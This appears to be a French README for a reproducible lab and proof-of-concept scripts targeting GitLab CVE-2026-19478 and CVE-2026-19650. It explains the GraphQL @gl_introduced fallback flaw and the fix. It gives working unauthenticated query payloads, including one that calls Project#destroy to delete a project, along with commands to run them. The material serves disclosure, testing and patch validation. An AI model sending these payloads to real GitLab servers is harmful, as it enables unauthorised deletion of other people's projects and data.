
Lab A/B reproductible + PoC sûr pour GitLab CVE-2026-19478 / CVE-2026-19650 (GraphQL @gl_introduced)
@gl_introduced : invocation arbitraire de méthode non authentifiée (laboratoire de validation + PoC)Laboratoire A/B reproductible et PoC sûr pour CVE-2026-19478 (GitLab CE/EE, CVSS 9.4, Critique). Un attaquant non authentifié peut invoquer des méthodes Ruby arbitraires à zéro argument sur les objets de domaine résolus par GraphQL — par exemple appeler
Project#destroypour supprimer un projet public sans identifiants.Inclut également un PoC pour le jumeau CVE-2026-19650 (échange de requêtes multiplex GraphQL) corrigé dans la même version.
Réservé aux tests de sécurité autorisés / à des fins éducatives uniquement. Tout s'exécute contre vos propres conteneurs locaux.
GitLab fournit une directive client GraphQL @gl_introduced(version: "X.Y.Z") (compatibilité ascendante pour les déploiements progressifs). Lorsqu'une requête nomme un champ dont la version est plus récente que celle du serveur, un traceur (Gitlab::Graphql::VersionFilter::IntroducedTracer) le retire avant la afin que la requête soit validée, puis réexécute le document à l'exécution et laisse les champs inconnus se résoudre vers un repli.
Le bug se trouve dans le repli (lib/gitlab/graphql/version_filter/future_field_fallback.rb, avant le correctif) :
def fallback_field(name:)
GraphQL::Schema::Field.new(owner: self, name: name,
type: GraphQL::Types::Boolean, fallback_value: nil) # <-- no resolver
end
Un GraphQL::Schema::Field sans résolveur est résolu par graphql-ruby en appelant object.public_send(field_name) (graphql-ruby lib/graphql/schema/field.rb — la branche respond_to?(@method_sym) → public_send s'exécute avant que fallback_value ne soit jamais consulté, donc fallback_value: nil était du code mort). Par conséquent, sous @gl_introduced, le client choisit un nom de champ égal à n'importe quelle méthode à zéro argument sur l'objet actuellement résolu, et le serveur l'invoque.
Résolvez un projet public, demandez un « champ futur » nommé destroy → le serveur exécute Project#destroy.
AV:N/AC:L/PR:N/UI:N/C:L/I:H/A:H).Resolvers::NilResolver explicite qui renvoie nil et n'appelle jamais de méthode.@gl_introduced(version:) doit être supérieur à la version du serveur (utilisez 99.0.0).to_param, destroy).id), sinon le document filtré est un ensemble de sélections vide et GitLab renvoie une erreur de validation "Field must have selections".Prérequis : Docker + docker compose, ~8 Go de RAM libre, Python 3.
docker compose up -d # boots vulnerable :8222 and patched :8224 (GitLab takes ~3-5 min to become healthy)
./setup.sh # waits for readiness, seeds a public project + an admin token on each instance
setup.sh affiche, pour chaque instance : l'URL de base, le chemin du projet public initialisé (root/pub) et un jeton PAT administrateur.
Utilise la primitive d'appel de méthode avec une méthode inoffensive (to_param). Aucune donnée n'est modifiée.
python3 poc_cve_2026_19478.py --url http://127.0.0.1:8222 # vulnerable -> VULNERABLE
python3 poc_cve_2026_19478.py --url http://127.0.0.1:8224 # patched -> NOT VULNERABLE
Résultat attendu :
[*] mechanism check .......... @gl_introduced active (unknown field returns null, no error)
[*] method-call probe ........ { project(fullPath:"root/pub"){ id to_param @gl_introduced(version:"99.0.0") } }
[+] response ................. {"project":{"id":"gid://gitlab/Project/1","to_param":true}}
[!] VULNERABLE — server invoked Project#to_param via public_send (returned non-null); CVE-2026-19478 present.
vs. sur l'instance corrigée :
[+] response ................. {"project":{"id":"gid://gitlab/Project/1","to_param":null}}
[+] NOT VULNERABLE — fallback returned null (NilResolver); patched.
Crée son propre projet public jetable via l'API REST (nécessite le jeton admin de setup.sh), puis le supprime via l'attaque GraphQL non authentifiée, et confirme que le projet a disparu.
python3 poc_cve_2026_19478.py --url http://127.0.0.1:8222 \
--prove-destroy --token <ADMIN_PAT_FROM_setup.sh> --namespace root
Résultat attendu (instance vulnérable) :
[*] created throwaway public project poc-doomed-<rand> (id=42) via REST
[*] UNAUTH attack ............ { project(fullPath:"root/poc-doomed-<rand>"){ id destroy @gl_introduced(version:"99.0.0") } }
[+] response ................. {"project":{"id":"gid://gitlab/Project/42","destroy":true}}
[+] post-check (REST) ........ GET /api/v4/projects/42 -> 404 Not Found
[!] CONFIRMED — unauthenticated request DELETED the project. CVE-2026-19478 impact proven.
Sur l'instance corrigée, la même exécution indique que le projet renvoie toujours 200 OK et que destroy est null.
python3 poc_cve_2026_19650.py --url http://127.0.0.1:8222 # VULNERABLE (slot 0 returns slot 1's data)
python3 poc_cve_2026_19650.py --url http://127.0.0.1:8224 # NOT VULNERABLE (slots isolated)
Pointez --url vers n'importe quel GitLab que vous êtes autorisé à tester, et --project vers un projet public présent sur celui-ci :
python3 poc_cve_2026_19478.py --url https://gitlab.example.com --project some-group/some-public-project
La détection est non destructive. N'utilisez pas --prove-destroy contre quoi que ce soit qui ne vous appartient pas.
Mettez à niveau vers 19.2.4 / 19.1.6 / 19.0.8 / 18.11.11 ou une version ultérieure. Le correctif fait transiter le repli par Resolvers::NilResolver (renvoie nil, n'invoque jamais une méthode d'objet). Si vous ne pouvez pas mettre à niveau immédiatement, bloquez la directive @gl_introduced / le chemin du filtre de version au niveau d'un proxy, ou restreignez l'accès GraphQL non authentifié.
| Fichier | Rôle |
|---|---|
docker-compose.yml | Démarre 19.2.2-ce vulnérable (:8222) + 19.2.4-ce corrigé (:8224) |
setup.sh | Attend la disponibilité, initialise le projet public root/pub + jeton admin par instance |
poc_cve_2026_19478.py | Détection (sûre) + preuve d'impact optionnelle --prove-destroy |
poc_cve_2026_19650.py | Détection d'échange de requêtes multiplex (sûre) |
--prove-destroy crée et supprime son propre projet jetable ; il ne touche jamais root/pub ni vos données.e283c6adeb3d (repli) et d2ea4b971a98 (échange multiplex).